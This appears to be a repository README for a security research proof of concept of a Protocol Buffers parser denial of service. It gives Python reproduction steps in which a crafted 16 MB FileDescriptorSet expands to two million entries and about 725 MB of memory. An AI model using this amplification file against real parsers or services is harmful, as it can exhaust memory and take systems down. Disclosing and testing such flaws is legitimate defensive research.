Protocol Buffers FileDescriptorSet cardinality amplification PoC

This repository hosts a benign security research PoC for a Protocol Buffers parser denial of service.

Files

  • protobuf-filedescriptorset-2000k.pb

Reproduction

Use latest protobuf 7.35.1:

python3 - <<'PY'
from google.protobuf import descriptor_pb2
blob = open("protobuf-filedescriptorset-2000k.pb", "rb").read()
out = descriptor_pb2.FileDescriptorSet()
out.ParseFromString(blob)
print(len(out.file))
PY

Observed on the research machine:

  • file size is about 16 MB
  • parser materializes 2,000,000 entries
  • peak RSS reaches roughly 725 MB

Under a 650 MB virtual-memory cap:

ulimit -v 650000
python3 - <<'PY'
from google.protobuf import descriptor_pb2
blob = open("protobuf-filedescriptorset-2000k.pb", "rb").read()
out = descriptor_pb2.FileDescriptorSet()
out.ParseFromString(blob)
PY

Observed result:

  • DecodeError: ... Arena alloc failed

Safety note

This artifact is a non-executable malformed model-file PoC for parser-stress testing only.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support